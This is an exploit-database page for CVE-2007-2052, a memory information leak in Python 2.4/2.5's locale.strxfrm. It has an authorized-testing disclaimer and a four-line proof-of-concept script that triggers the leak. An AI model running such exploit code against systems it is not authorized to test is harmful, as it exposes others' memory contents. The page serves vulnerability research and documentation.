Materialized exploit
CVE-2007-2052
1 public exploit(s) for this CVE, 1 materialized with their code.
For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.
ExploitDB
remote linux Verified
Source
Python 2.5 - 'PyLocale_strxfrm' Remote Information Leak
By Piotr Engelking
How to test this exploit
Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.
python3 30018.py
Code py
source: https://www.securityfocus.com/bid/23887/info
Python applications that use the 'PyLocale_strxfrm' function are prone to an information leak.
Exploiting this issue allows remote attackers to read portions of memory.
Python 2.4.4-2 and 2.5 are confirmed vulnerable.
#!/usr/bin/python
import locale
print locale.setlocale(locale.LC_COLLATE, 'pl_PL.UTF8')
print repr(locale.strxfrm('a'))